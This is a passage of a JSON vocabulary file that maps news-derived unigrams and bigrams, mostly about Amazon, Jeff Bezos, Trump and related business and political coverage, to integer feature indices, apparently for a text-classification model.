\"rutt\": 177827,\n  \"company world\": 177828,\n  \"removed just\": 177829,\n  \"online sale\": 177830,\n  \"arrested despite\": 177831,\n  \"insider wow\": 177832,\n  \"fine embodiment\": 177833,\n  \"diorio\": 177834,\n  \"kevinliptakcnn\": 177835,\n  \"signaled willingness\": 177836,\n  \"vote alternative\": 177837,\n  \"capitalist pig\": 177838,\n  \"rubenstein head\": 177839,\n  \"predicts slaughter\": 177840,\n  \"economy away\": 177841,\n  \"demanded according\": 177842,\n  \"plans venezuela\": 177843,\n  \"employees leave\": 177844,\n  \"released lot\": 177845,\n  \"net favorability\": 177846,\n  \"ambassador susan\": 177847,\n  \"paramour lauren\": 177848,\n  \"tinged feud\": 177849,\n  \"fumbles necessarily\": 177850,\n  \"retail residential\": 177851,\n  \"locust wood\": 177852,\n  \"saying\": 177853,\n  \"tech lobbying\": 177854,\n  \"user passwords\": 177855,\n  \"kevin thomas\": 177856,\n  \"political protection\": 177857,\n  \"women similarly\": 177858,\n  \"country return\": 177859,\n  \"trump readers\": 177860,\n  \"collective wailing\": 177861,\n  \"primary issues\": 177862,\n  \"championed sinclair\": 177863,\n  \"subscribers instead\": 177864,\n  \"conflated\": 177865,\n  \"r1 a4ee\": 177866,\n  \"forests absorb\": 177867,\n  \"giulianis various\": 177868,\n  \"giant wa\": 177869,\n  \"taking decade\": 177870,\n  \"cronyism amazon\": 177871,\n  \"hearing images\": 177872,\n  \"making immigrant\": 177873,\n  \"impacting prominent\": 177874,\n  \"visit new\": 177875,\n  \"appliances market\": 177876,\n  \"feisty\": 177877,\n  \"joe hoft\": 177878,\n  \"970x450 uploaded_files\": 177879,\n  \"expanding reach\": 177880,\n  \"data website\": 177881,\n  \"tremendous faith\": 177882,\n  \"tonight market\": 177883,\n  \"iconic american\": 177884,\n  \"locate hq2\": 177885,\n  \"hyperpartisan gerrymandering\": 177886,\n  \"raced\": 177887,\n  \"includes alibaba\": 177888,\n  \"battered equities\": 177889,\n  \"fisch likened\": 177890,\n  \"bolden pay\": 177891,\n  \"toby\": 177892,\n  \"graduation ceremony\": 177893,\n  \"getting ready\": 177894,\n  \"ambassadors volunteer\": 177895,\n  \"tirades\": 177896,\n  \"alternative proposals\": 177897,\n  \"initiating criminal\": 177898,\n  \"massive information\": 177899,\n  \"salisbury cathedral\": 177900,\n  \"company ring\": 177901,\n  \"using drones\": 177902,\n  \"mchale check\": 177903,\n  \"kitchen floor\": 177904,\n  \"power assuming\": 177905,\n  \"bloomberg law\": 177906,\n  \"google admits\": 177907,\n  \"downtrend ge\": 177908,\n  \"cavorting conjugally\": 177909,\n  \"fall morgan\": 177910,\n  \"increased focus\": 177911,\n  \"marketplace organization\": 177912,\n  \"grape jelly\": 177913,\n  \"musk insult\": 177914,\n  \"carnivorous\": 177915,\n  \"isn predicated\": 177916,\n  \"juanita\": 177917,\n  \"retailers wework\": 177918,\n  \"record valuation\": 177919,\n  \"inequality topic\": 177920,\n  \"fired power\": 177921,\n  \"stake\": 177922,\n  \"party crasher\": 177923,\n  \"hot job\": 177924,\n  \"throated endorsement\": 177925,\n  \"prognosticate\": 177926,\n  \"state democratic\": 177927,\n  \"facial\": 177928,\n  \"introduce workforce\": 177929,\n  \"company towns\": 177930,\n  \"allegedly discriminating\": 177931,\n  \"purina\": 177932,\n  \"labor consciousness\": 177933,\n  \"car plunges\": 177934,\n  \"definitely offers\": 177935,\n  \"eu actions\": 177936,\n  \"brand holders\": 177937,\n  \"god amazon\": 177938,\n  \"build range\": 177939,\n  \"durand\": 177940,\n  \"workers employed\": 177941,\n  \"center efficiency\": 177942,\n  \"tyger\": 177943,\n  \"sophisticated beliefs\": 177944,\n  \"promoting onesies\": 177945,\n  \"amassing enormous\": 177946,\n  \"million scratch\": 177947,\n  \"thumb jpg\": 177948,\n  \"north central\": 177949,\n  \"award related\": 177950,\n  \"accusations singling\": 177951,\n  \"tilted sideways\": 177952,\n  \"university james\": 177953,\n  \"minimal level\": 177954,\n  \"sue branford\": 177955,\n  \"bloomberg ars\": 177956,\n  \"employees trump\": 177957,\n  \"electric shocks\": 177958,\n  \"capitulation suggests\": 177959,\n  \"build large\": 177960,\n  \"statements impact\": 177961,\n  \"margetuximab\": 177962,\n  \"twitter rocket\": 177963,\n  \"stopped toadstool\": 177964,\n  \"source saying\": 177965,\n  \"misunderstand\": 177966,\n  \"adopting\": 177967,\n  \"plausible hypothesis\": 177968,\n  \"181002173716 sears\": 177969,\n  \"includes long\": 177970,\n  \"messages shared\": 177971,\n  \"anusak laowilas\": 177972,\n  \"articles boston\": 177973,\n  \"james clapper\": 177974,\n  \"780 words\": 177975,\n  \"bezos joins\": 177976,\n  \"corporate influence\": 177977,\n  \"economists believe\": 177978,\n  \"trump enthusiasts\": 177979,\n  \"metapack solutions\": 177980,\n  \"s\\u00e1nchez according\": 177981,\n  \"delivers cheap\": 177982,\n  \"fully informing\": 177983,\n  \"muxp2x0f7b katie\": 177984,\n  \"retirement family\": 177985,\n  \"finally decided\": 177986,\n  \"primal\": 177987,\n  \"journalism awards\": 177988,\n  \"creating talking\": 177989,\n  \"relive pep\": 177990,\n  \"opinion donald\": 177991,\n  \"letter implies\": 177992,\n  \"adequate benefits\": 177993,\n  \"yup particularly\": 177994,\n  \"debates\": 177995,\n  \"servitude elisabeth\": 177996,\n  \"especially deforestation\": 177997,\n  \"gp\": 177998,\n  \"lago australia\": 177999,\n  \"spy gear\": 178000,\n  \"gould\": 178001,\n  \"ineptitude\": 178002,\n  \"individual sanders\": 178003,\n  \"anthony\": 178004,\n  \"280 characters\": 178005,\n  \"spuec7bpal\": 178006,\n  \"hamza\": 178007,\n  \"didnt\": 178008,\n  \"teamsters ernie\": 178009,\n  \"nalgene\": 178010,\n  \"donors owns\": 178011,\n  \"pay fee\": 178012,\n  \"sanders themes\": 178013,\n  \"selling soy\": 178014,\n  \"economic relief\": 178015,\n  \"prolific data\": 178016,\n  \"heard donald\": 178017,\n  \"added amazon\": 178018,\n  \"provides billions\": 178019,\n  \"simultaneously competing\": 178020,\n  \"years allegedly\": 178021,\n  \"start michele\": 178022,\n  \"avoid negative\": 178023,\n  \"machines appear\": 178024,\n  \"actually slightly\": 178025,\n  \"elite list\": 178026,\n  \"twelfe embedded\": 178027,\n  \"snl treats\": 178028,\n  \"magazine owner\": 178029,\n  \"trump shamelessly\": 178030,\n  \"asks manhattan\": 178031,\n  \"dix gloria\": 178032,\n  \"tech crunch\": 178033,\n  \"favorite platform\": 178034,\n  \"dealing multi\": 178035,\n  \"vetoes\": 178036,\n  \"henry wojtaszek\": 178037,\n  \"american lives\": 178038,\n  \"poorer counterparts\": 178039,\n  \"amazon mama\": 178040,\n  \"computing certificate\": 178041,\n  \"proprietary\": 178042,\n  \"time reading\": 178043,\n  \"patrol chief\": 178044,\n  \"devices seamlessly\": 178045,\n  \"ideo\": 178046,\n  \"government board\": 178047,\n  \"strategic acquisitions\": 178048,\n  \"buy long\": 178049,\n  \"wage according\": 178050,\n  \"knicks 106\": 178051,\n  \"campaign enquirer\": 178052,\n  \"amazon closing\": 178053,\n  \"recruit teenagers\": 178054,\n  \"egalitarian promise\": 178055,\n  \"buys damaging\": 178056,\n  \"retailer andres\": 178057,\n  \"negative impact\": 178058,\n  \"charting\": 178059,\n  \"expansion efforts\": 178060,\n  \"story record\": 178061,\n  \"earth intact\": 178062,\n  \"puzder wrote\": 178063,\n  \"published string\": 178064,\n  \"peeled\": 178065,\n  \"indigenous leader\": 178066,\n  \"law debate\": 178067,\n  \"main political\": 178068,\n  \"diatribe sends\": 178069,\n  \"survey week\": 178070,\n  \"company small\": 178071,\n  \"dangerous bezos\": 178072,\n  \"kidman kirsten\": 178073,\n  \"rival woman\": 178074,\n  \"bethesda\": 178075,\n  \"human inside\": 178076,\n  \"press analysis\": 178077,\n  \"strangely identifying\": 178078,\n  \"party items\": 178079,\n  \"president hitting\": 178080,\n  \"required infrastructure\": 178081,\n  \"households making\": 178082,\n  \"year labor\": 178083,\n  \"monroe\": 178084,\n  \"marketplace warren\": 178085,\n  \"nlrb complaint\": 178086,\n  \"eckstein\": 178087,\n  \"slandered\": 178088,\n  \"growth brought\": 178089,\n  \"subsidiary zappos\": 178090,\n  \"space business\": 178091,\n  \"amobi cfra\": 178092,\n  \"2935575 citi\": 178093,\n  \"workforce food\": 178094,\n  \"gentle\": 178095,\n  \"vbtt419xoj\": 178096,\n  \"credits billion\": 178097,\n  \"98th\": 178098,\n  \"second place\": 178099,\n  \"lawyers threatened\": 178100,\n  \"appeared days\": 178101,\n  \"spearhead apple\": 178102,\n  \"competition panel\": 178103,\n  \"yplgqc9q9r\": 178104,\n  \"network showed\": 178105,\n  \"biometric\": 178106,\n  \"ultimately canceled\": 178107,\n  \"z74bhbxjvk evan\": 178108,\n  \"speech widely\": 178109,\n  \"leading contenders\": 178110,\n  \"cronyism baby\": 178111,\n  \"cobb reports\": 178112,\n  \"higher moderation\": 178113,\n  \"pulpit trump\": 178114,\n  \"qgazette\": 178115,\n  \"norris perne\": 178116,\n  \"life style\": 178117,\n  \"completely dependent\": 178118,\n  \"countries ignore\": 178119,\n  \"portal worth\": 178120,\n  \"jan 2018when\": 178121,\n  \"staffers schuster\": 178122,\n  \"incrementally yielding\": 178123,\n  \"away blood\": 178124,\n  \"single meeting\": 178125,\n  \"chronology\": 178126,\n  \"book commercial\": 178127,\n  \"2026 world\": 178128,\n  \"chinese premier\": 178129,\n  \"allies roger\": 178130,\n  \"technical matters\": 178131,\n  \"buyback\": 178132,\n  \"i9 m2x\": 178133,\n  \"tank critical\": 178134,\n  \"selling novelty\": 178135,\n  \"stayed away\": 178136,\n  \"pecker pointing\": 178137,\n  \"connects\": 178138,\n  \"embarking\": 178139,\n  \"400 important\": 178140,\n  \"talks china\": 178141,\n  \"sebastian gunningham\": 178142,\n  \"china quickly\": 178143,\n  \"higher shipping\": 178144,\n  \"growing power\": 178145,\n  \"concerned\": 178146,\n  \"rep kathleen\": 178147,\n  \"competitive streak\": 178148,\n  \"advisor told\": 178149,\n  \"rumoured recordings\": 178150,\n  \"mercenaries\": 178151,\n  \"berniesanders\": 178152,\n  \"z1\": 178153,\n  \"metro northern\": 178154,\n  \"garden press\": 178155,\n  \"breaking lies\": 178156,\n  \"cbre\": 178157,\n  \"leftist\": 178158,\n  \"toronto prospects\": 178159,\n  \"pf_rd_i\": 178160,\n  \"clearances stripped\": 178161,\n  \"apparent ellis\": 178162,\n  \"state women\": 178163,\n  \"airlines cargo\": 178164,\n  \"1230et copyright\": 178165,\n  \"fake unhinged\": 178166,\n  \"clark amazon\": 178167,\n  \"amzn amazon\": 178168,\n  \"told columnist\": 178169,\n  \"leaked ahead\": 178170,\n  \"privacy preferences\": 178171,\n  \"britain brexit\": 178172,\n  \"hit retailers\": 178173,\n  \"electronic technology\": 178174,\n  \"financially liable\": 178175,\n  \"carly\": 178176,\n  \"delivery solutions\": 178177,\n  \"shelves\": 178178,\n  \"bright students\": 178179,\n  \"chilean\": 178180,\n  \"holdings utah\": 178181,\n  \"amzn effect\": 178182,\n  \"lovers quarrel\": 178183,\n  \"disrupted\": 178184,\n  \"association daniel\": 178185,\n  \"sister station\": 178186,\n  \"avert government\": 178187,\n  \"budget policy\": 178188,\n  \"post owned\": 178189,\n  \"unfair employment\": 178190,\n  \"procedural grounds\": 178191,\n  \"world lost\": 178192,\n  \"make friends\": 178193,\n  \"bezos scandal\": 178194,\n  \"productivity quartz\": 178195,\n  \"appreciation sanchez\": 178196,\n  \"svendsen pretty\": 178197,\n  \"chinas huawei\": 178198,\n  \"new nickname\": 178199,\n  \"kirby\": 178200,\n  \"natural ways\": 178201,\n  \"hire holiday\": 178202,\n  \"providing amnesty\": 178203,\n  \"reported state\": 178204,\n  \"crosses\": 178205,\n  \"pullout risks\": 178206,\n  \"despite entreaties\": 178207,\n  \"including tvs\": 178208,\n  \"pullman hanging\": 178209,\n  \"having purchased\": 178210,\n  \"national police\": 178211,\n  \"opa\": 178212,\n  \"opines\": 178213,\n  \"revenues growing\": 178214,\n  \"high 581\": 178215,\n  \"campaign year\": 178216,\n  \"587\": 178217,\n  \"art protest\": 178218,\n  \"forests green\": 178219,\n  \"customers faster\": 178220,\n  \"america anymore\": 178221,\n  \"australian dylan\": 178222,\n  \"reserved geeky\": 178223,\n  \"buffett\": 178224,\n  \"netflix mean\": 178225,\n  \"photos\": 178226,\n  \"accident\": 178227,\n  \"leans heavily\": 178228,\n  \"hyde park\": 178229,\n  \"president surprise\": 178230,\n  \"trend tennis\": 178231,\n  \"mccain joined\": 178232,\n  \"pushback increasing\": 178233,\n  \"passive aggression\": 178234,\n  \"bargainers\": 178235,\n  \"hbo shiff\": 178236,\n  \"hotspot\": 178237,\n  \"castaway james\": 178238,\n  \"earnings generated\": 178239,\n  \"pot just\": 178240,\n  \"paulorwell\": 178241,\n  \"newcomer\": 178242,\n  \"consider south\": 178243,\n  \"foster homes\": 178244,\n  \"highest incidence\": 178245,\n  \"mocking tone\": 178246,\n  \"stipulations\": 178247,\n  \"employees react\": 178248,\n  \"week precious\": 178249,\n  \"brennan multiple\": 178250,\n  \"danish siblings\": 178251,\n  \"current amazon\": 178252,\n  \"actually filed\": 178253,\n  \"nicknames crooked\": 178254,\n  \"great flavor\": 178255,\n  \"countries announced\": 178256,\n  \"says bring\": 178257,\n  \"prevent illegal\": 178258,\n  \"m6eninumqn\": 178259,\n  \"rep carlos\": 178260,\n  \"dan gilroy\": 178261,\n  \"remove knock\": 178262,\n  \"suite\": 178263,\n  \"raining\": 178264,\n  \"amazon addition\": 178265,\n  \"entail forest\": 178266,\n  \"appoint people\": 178267,\n  \"new ground\": 178268,\n  \"identify burglary\": 178269,\n  \"positive adjusted\": 178270,\n  \"coates\": 178271,\n  \"socialflow\": 178272,\n  \"long island\": 178273,\n  \"scaring amazon\": 178274,\n  \"editorial page\": 178275,\n  \"user posted\": 178276,\n  \"law nbc\": 178277,\n  \"asian\": 178278,\n  \"lady gaga\": 178279,\n  \"used fentanyl\": 178280,\n  \"dailyquote quotesoftheday\": 178281,\n  \"cheaper alternative\": 178282,\n  \"french meal\": 178283,\n  \"katherine\": 178284,\n  \"stepmother laurene\": 178285,\n  \"apparent relationship\": 178286,\n  \"think starts\": 178287,\n  \"overweight rating\": 178288,\n  \"rainbow springs\": 178289,\n  \"increasing pressure\": 178290,\n  \"live took\": 178291,\n  \"peralta brilliant\": 178292,\n  \"charge people\": 178293,\n  \"based distribution\": 178294,\n  \"suzan delbene\": 178295,\n  \"false comparetotoggle\": 178296,\n  \"pho war\": 178297,\n  \"time televised\": 178298,\n  \"adherents believe\": 178299,\n  \"bozo fost\": 178300,\n  \"exas news\": 178301,\n  \"quietly buries\": 178302,\n  \"feed just\": 178303,\n  \"american conservative\": 178304,\n  \"resident responded\": 178305,\n  \"extortionate proposal\": 178306,\n  \"fraud case\": 178307,\n  \"democrats ranked\": 178308,\n  \"direct competition\": 178309,\n  \"veteran named\": 178310,\n  \"charge regulators\": 178311,\n  \"billion cnn\": 178312,\n  \"bmw\": 178313,\n  \"2018 chicksonright\": 178314,\n  \"nations leaders\": 178315,\n  \"talking negatively\": 178316,\n  \"tumbling tech\": 178317,\n  \"currently slated\": 178318,\n  \"day nypost\": 178319,\n  \"section rappler\": 178320,\n  \"sanchez pilot\": 178321,\n  \"variant priced\": 178322,\n  \"masunaga\": 178323,\n  \"divorce trump\": 178324,\n  \"radically\": 178325,\n  \"rosenbaum scout\": 178326,\n  \"bravo apttus\": 178327,\n  \"fed google\": 178328,\n  \"won national\": 178329,\n  \"final location\": 178330,\n  \"post medium\": 178331,\n  \"activity\": 178332,\n  \"obama appointee\": 178333,\n  \"lacefront following\": 178334,\n  \"years little\": 178335,\n  \"great stories\": 178336,\n  \"discovers heartbreaking\": 178337,\n  \"woman run\": 178338,\n  \"rivals just\": 178339,\n  \"right amazon\": 178340,\n  \"picture perfect\": 178341,\n  \"amazon government\": 178342,\n  \"technical operations\": 178343,\n  \"antitrust limbo\": 178344,\n  \"largest digital\": 178345,\n  \"algorithmically\": 178346,\n  \"apps coming\": 178347,\n  \"exclusive report\": 178348,\n  \"mgnx\": 178349,\n  \"mishandling\": 178350,\n  \"upskilling people\": 178351,\n  \"state cable\": 178352,\n  \"major trauma\": 178353,\n  \"sells fresh\": 178354,\n  \"boot data\": 178355,\n  \"yelling profane\": 178356,\n  \"vidid 15612\": 178357,\n  \"bandwidth amazon\": 178358,\n  \"initial product\": 178359,\n  \"making spectacle\": 178360,\n  \"remarkable cone\": 178361,\n  \"amazon svp\": 178362,\n  \"plentyof time\": 178363,\n  \"notoriously\": 178364,\n  \"rental flat\": 178365,\n  \"respecting vietnamese\": 178366,\n  \"harmed\": 178367,\n  \"sites\": 178368,\n  \"oppression\": 178369,\n  \"knowing trump\": 178370,\n  \"congressional leaders\": 178371,\n  \"market focus\": 178372,\n  \"authors works\": 178373,\n  \"orchestral\": 178374,\n  \"100 strong\": 178375,\n  \"healthcare anisha\": 178376,\n  \"degree agile\": 178377,\n  \"government unless\": 178378,\n  \"cable monopoly\": 178379,\n  \"palmer executive\": 178380,\n  \"federal health\": 178381,\n  \"multiple industries\": 178382,\n  \"accounting tricks\": 178383,\n  \"cinnamon rolls\": 178384,\n  \"326\": 178385,\n  \"dangerous rhetoric\": 178386,\n  \"entitle louis\": 178387,\n  \"deadbeat\": 178388,\n  \"committee vote\": 178389,\n  \"associates account\": 178390,\n  \"indianapolis mail\": 178391,\n  \"ceo daily\": 178392,\n  \"dreamland16\": 178393,\n  \"general seat\": 178394,\n  \"average eve\": 178395,\n  \"people controllers\": 178396,\n  \"otcqx market\": 178397,\n  \"amazon fake\": 178398,\n  \"learners\": 178399,\n  \"corps air\": 178400,\n  \"enlarge tax\": 178401,\n  \"royal engagement\": 178402,\n  \"hannah\": 178403,\n  \"report release\": 178404,\n  \"hour does\": 178405,\n  \"affluent\": 178406,\n  \"avoid broader\": 178407,\n  \"1740s\": 178408,\n  \"stumbles\": 178409,\n  \"divine\": 178410,\n  \"allegedly trump\": 178411,\n  \"lawmaker wants\": 178412,\n  \"unfilmable comic\": 178413,\n  \"travel space\": 178414,\n  \"punish businesses\": 178415,\n  \"opinion piece\": 178416,\n  \"aside plan\": 178417,\n  \"angie\": 178418,\n  \"gala gala\": 178419,\n  \"headlines related\": 178420,\n  \"exploring presidential\": 178421,\n  \"ryan tannehill\": 178422,\n  \"alesco\": 178423,\n  \"million mel\": 178424,\n  \"depression era\": 178425,\n  \"profiling tracking\": 178426,\n  \"minimal taxes\": 178427,\n  \"hour amazon\": 178428,\n  \"weekend bag\": 178429,\n  \"content development\": 178430,\n  \"amazon mysterious\": 178431,\n  \"axp appear\": 178432,\n  \"gosar az\": 178433,\n  \"technology group\": 178434,\n  \"organization jocum\": 178435,\n  \"firebrand\": 178436,\n  \"wyden complained\": 178437,\n  \"example harpooning\": 178438,\n  \"dominate books\": 178439,\n  \"comprehensive review\": 178440,\n  \"smear people\": 178441,\n  \"cleaning carpets\": 178442,\n  \"morgan trump\": 178443,\n  \"recognition activist\": 178444,\n  \"chronically\": 178445,\n  \"coyo\": 178446,\n  \"converted garage\": 178447,\n  \"usage\": 178448,\n  \"unanimously approve\": 178449,\n  \"cloud 2018\": 178450,\n  \"corp shld\": 178451,\n  \"story founder\": 178452,\n  \"force navy\": 178453,\n  \"taste coffee\": 178454,\n  \"regulatory reform\": 178455,\n  \"technical error\": 178456,\n  \"term prices\": 178457,\n  \"occasion impacted\": 178458,\n  \"marginalized groups\": 178459,\n  \"roll\": 178460,\n  \"dobbs\": 178461,\n  \"kentucky prosecutor\": 178462,\n  \"strained\": 178463,\n  \"old girlfriend\": 178464,\n  \"strapped postal\": 178465,\n  \"livery\": 178466,\n  \"google news\": 178467,\n  \"rename gingerbread\": 178468,\n  \"inadvertently shared\": 178469,\n  \"forbes americans\": 178470,\n  \"revelations did\": 178471,\n  \"chinese beauty\": 178472,\n  \"gellman birthdays\": 178473,\n  \"start implementing\": 178474,\n  \"levels amazon\": 178475,\n  \"emergency aid\": 178476,\n  \"report steve\": 178477,\n  \"wealthy public\": 178478,\n  \"joining rosalind\": 178479,\n  \"duly\": 178480,\n  \"egitimate\": 178481,\n  \"renner\": 178482,\n  \"shoulders shampoo\": 178483,\n  \"respected lawyer\": 178484,\n  \"suddenly transfixed\": 178485,\n  \"team owned\": 178486,\n  \"retiree benefits\": 178487,\n  \"comment west\": 178488,\n  \"strain says\": 178489,\n  \"official visit\": 178490,\n  \"monopolies yeah\": 178491,\n  \"opportunity think\": 178492,\n  \"far displayed\": 178493,\n  \"carol\": 178494,\n  \"month public\": 178495,\n  \"margin isn\": 178496,\n  \"300dpi\": 178497,\n  \"complete statement\": 178498,\n  \"jones debut\": 178499,\n  \"tomorrows big\": 178500,\n  \"essential oil\": 178501,\n  \"grammy win\": 178502,\n  \"better case\": 178503,\n  \"rouhani joined\": 178504,\n  \"pharmaceutical lobbyist\": 178505,\n  \"fraser limited\": 178506,\n  \"standard trump\": 178507,\n  \"bardella member\": 178508,\n  \"chris explained\": 178509,\n  \"task forces\": 178510,\n  \"working spouses\": 178511,\n  \"effecting\": 178512,\n  \"inbox protests\": 178513,\n  \"bezos gives\": 178514,\n  \"approximately 110\": 178515,\n  \"week nineteen\": 178516,\n  \"executive marillyn\": 178517,\n  \"politico absolutely\": 178518,\n  \"reps steve\": 178519,\n  \"latest fake\": 178520,\n  \"swatted\": 178521,\n  \"anticompetitive\": 178522,\n  \"notoriously challenging\": 178523,\n  \"composition\": 178524,\n  \"cohen says\": 178525,\n  \"colonization\": 178526,\n  \"bricks\": 178527,\n  \"wellington\": 178528,\n  \"universal truth\": 178529,\n  \"markle dad\": 178530,\n  \"podcast episodes\": 178531,\n  \"business career\": 178532,\n  \"avoid layoffs\": 178533,\n  \"exxon mobil\": 178534,\n  \"communitiesthat\": 178535,\n  \"real characters\": 178536,\n  \"strong mandate\": 178537,\n  \"apple google\": 178538,\n  \"money kevin\": 178539,\n  \"colored\": 178540,\n  \"doj took\": 178541,\n  \"intraday stock\": 178542,\n  \"american oracle\": 178543,\n  \"simmering feud\": 178544,\n  \"snagged\": 178545,\n  \"personable\": 178546,\n  \"famously caustic\": 178547,\n  \"emboldened grassroots\": 178548,\n  \"ha la\": 178549,\n  \"justice signaled\": 178550,\n  \"group general\": 178551,\n  \"jobs require\": 178552,\n  \"espaillat ny\": 178553,\n  \"rampell\": 178554,\n  \"smollett fallout\": 178555,\n  \"tended\": 178556,\n  \"openly rooting\": 178557,\n  \"paring losses\": 178558,\n  \"haven severed\": 178559,\n  \"underpay\": 178560,\n  \"gov website\": 178561,\n  \"lyft ebay\": 178562,\n  \"growing problem\": 178563,\n  \"florida legislature\": 178564,\n  \"verna principle\": 178565,\n  \"commonality criticism\": 178566,\n  \"o2x k0\": 178567,\n  \"influence news\": 178568,\n  \"publicly weighed\": 178569,\n  \"equally big\": 178570,\n  \"service quasi\": 178571,\n  \"federal grant\": 178572,\n  \"read biore\": 178573,\n  \"recording simultaneously\": 178574,\n  \"korea economy\": 178575,\n  \"detective ryan\": 178576,\n  \"demonic power\": 178577,\n  \"taxes kovach\": 178578,\n  \"dwarfed\": 178579,\n  \"helps\": 178580,\n  \"peaks ventures\": 178581,\n  \"large cable\": 178582,\n  \"walmart nixed\": 178583,\n  \"reporting ted\": 178584,\n  \"deficit president\": 178585,\n  \"mentioned ami\": 178586,\n  \"naturalist\": 178587,\n  \"centre point\": 178588,\n  \"cortez alessandra\": 178589,\n  \"couple battles\": 178590,\n  \"matt volz\": 178591,\n  \"served amazon\": 178592,\n  \"resistant parliament\": 178593,\n  \"conversation wantto\": 178594,\n  \"donuts lasted\": 178595,\n  \"sitcom starring\": 178596,\n  \"sunken\": 178597,\n  \"involves plan\": 178598,\n  \"vivo models\": 178599,\n  \"zawe\": 178600,\n  \"telling don\": 178601,\n  \"president authority\": 178602,\n  \"white pauly\": 178603,\n  \"attention amazon\": 178604,\n  \"domain click\": 178605,\n  \"abc severe\": 178606,\n  \"extort bezos\": 178607,\n  \"new privacy\": 178608,\n  \"criticize palantir\": 178609,\n  \"wife fellow\": 178610,\n  \"wheels turning\": 178611,\n  \"happiness read\": 178612,\n  \"accra ghana\": 178613,\n  \"amazon jdcom\": 178614,\n  \"writers pundits\": 178615,\n  \"ago 187\": 178616,\n  \"stars larry\": 178617,\n  \"amazon meets\": 178618,\n  \"hole cbs\": 178619,\n  \"plans embedded\": 178620,\n  \"jordan numbersmuncher\": 178621,\n  \"businessweek reporting\": 178622,\n  \"dismissed reports\": 178623,\n  \"d22nv8evmr3d8f cloudfront\": 178624,\n  \"public dispute\": 178625,\n  \"brazilian favelas\": 178626,\n  \"year fate\": 178627,\n  \"publically\": 178628,\n  \"bounced ray\": 178629,\n  \"virtual monopolies\": 178630,\n  \"refinitiv\": 178631,\n  \"opposition urges\": 178632,\n  \"meaningless dribble\": 178633,\n  \"critical remarks\": 178634,\n  \"years old\": 178635,\n  \"away billion\": 178636,\n  \"acting epa\": 178637,\n  \"low amazon\": 178638,\n  \"options trades\": 178639,\n  \"avoidance strategies\": 178640,\n  \"incloud\": 178641,\n  \"doing trump\": 178642,\n  \"mission wrote\": 178643,\n  \"based realtor\": 178644,\n  \"main engines\": 178645,\n  \"mobile phones\": 178646,\n  \"blunts criticism\": 178647,\n  \"shorturl statustext\": 178648,\n  \"giant market\": 178649,\n  \"allied advisory\": 178650,\n  \"local efforts\": 178651,\n  \"nadine labaki\": 178652,\n  \"higher transportation\": 178653,\n  \"stock closer\": 178654,\n  \"smartphone considering\": 178655,\n  \"currently works\": 178656,\n  \"bad swift\": 178657,\n  \"think comcast\": 178658,\n  \"replay autoplay\": 178659,\n  \"internal break\": 178660,\n  \"coincidence metro\": 178661,\n  \"pope\": 178662,\n  \"teaching average\": 178663,\n  \"browbeat\": 178664,\n  \"stiffing charities\": 178665,\n  \"stunning treat\": 178666,\n  \"flaccus\": 178667,\n  \"nonviolent drug\": 178668,\n  \"amazon succeeds\": 178669,\n  \"klepper\": 178670,\n  \"dictate\": 178671,\n  \"culture tainted\": 178672,\n  \"leaning outlets\": 178673,\n  \"affordable unlimited\": 178674,\n  \"kellyn bechtold\": 178675,\n  \"persons explained\": 178676,\n  \"trump donny\": 178677,\n  \"conservative borrowing\": 178678,\n  \"indefinite leave\": 178679,\n  \"service announcements\": 178680,\n  \"promises haven\": 178681,\n  \"relative important\": 178682,\n  \"tribunal\": 178683,\n  \"combing\": 178684,\n  \"business venture\": 178685,\n  \"publishing site\": 178686,\n  \"dallasnews sgtreport\": 178687,\n  \"focused pop\": 178688,\n  \"little hope\": 178689,\n  \"council chairman\": 178690,\n  \"archived recording\": 178691,\n  \"street bonuses\": 178692,\n  \"core jeffries\": 178693,\n  \"ultimately coke\": 178694,\n  \"story told\": 178695,\n  \"bezos michelle\": 178696,\n  \"comparisongrids products\": 178697,\n  \"veteran benefits\": 178698,\n  \"threaten punishment\": 178699,\n  \"backtracked\": 178700,\n  \"candor\": 178701,\n  \"criticizing\": 178702,\n  \"477 000\": 178703,\n  \"ceramic\": 178704,\n  \"i0 ma\": 178705,\n  \"access personal\": 178706,\n  \"tif\": 178707,\n  \"lungs heart\": 178708,\n  \"group politicians\": 178709,\n  \"guild\": 178710,\n  \"tiresome people\": 178711,\n  \"products dimondstein\": 178712,\n  \"butchered\": 178713,\n  \"dramatically speed\": 178714,\n  \"ideals\": 178715,\n  \"regulatory filings\": 178716,\n  \"strongsville\": 178717,\n  \"owned american\": 178718,\n  \"irrefutable evidence\": 178719,\n  \"washington needs\": 178720,\n  \"string a4ee\": 178721,\n  \"union members\": 178722,\n  \"trump north\": 178723,\n  \"transfer elevating\": 178724,\n  \"office announced\": 178725,\n  \"diversity\": 178726,\n  \"fedex reportedly\": 178727,\n  \"best lgbtq\": 178728,\n  \"felipe\": 178729,\n  \"willing president\": 178730,\n  \"voiceover\": 178731,\n  \"probably exacerbate\": 178732,\n  \"seemingly admiringly\": 178733,\n  \"cohen probe\": 178734,\n  \"evading tax\": 178735,\n  \"definitely personifies\": 178736,\n  \"gerald reynolds\": 178737,\n  \"costs disputes\": 178738,\n  \"ari fleischer\": 178739,\n  \"rom holdings\": 178740,\n  \"132 o2x\": 178741,\n  \"make great\": 178742,\n  \"securing democracy\": 178743,\n  \"corporate used\": 178744,\n  \"rosetta stone\": 178745,\n  \"calls bezos\": 178746,\n  \"payment efforts\": 178747,\n  \"present boost\": 178748,\n  \"contract maximum\": 178749,\n  \"meditative\": 178750,\n  \"ultra\": 178751,\n  \"state panel\": 178752,\n  \"polished\": 178753,\n  \"rogin tries\": 178754,\n  \"standard delivery\": 178755,\n  \"buildings housing\": 178756,\n  \"budget 200\": 178757,\n  \"reuters edgar\": 178758,\n  \"created tribunal\": 178759,\n  \"northeastern united\": 178760,\n  \"weekly forecast\": 178761,\n  \"john anzalone\": 178762,\n  \"retailer forecast\": 178763,\n  \"technology given\": 178764,\n  \"manufacturing slowed\": 178765,\n  \"throw jeff\": 178766,\n  \"losing nearly\": 178767,\n  \"bozo trump\": 178768,\n  \"turnonflashmessaging\": 178769,\n  \"hurt amzn\": 178770,\n  \"new walmart\": 178771,\n  \"page privately\": 178772,\n  \"750 billion\": 178773,\n  \"fcpa newsfile\": 178774,\n  \"amazon wikipedia\": 178775,\n  \"times sebastian\": 178776,\n  \"microsoft stock\": 178777,\n  \"perspective cronyism\": 178778,\n  \"quashing fake\": 178779,\n  \"masks outside\": 178780,\n  \"mind officials\": 178781,\n  \"china spot\": 178782,\n  \"shipping competitors\": 178783,\n  \"bashing tech\": 178784,\n  \"company redis\": 178785,\n  \"ecolab schedules\": 178786,\n  \"yes right\": 178787,\n  \"netflix 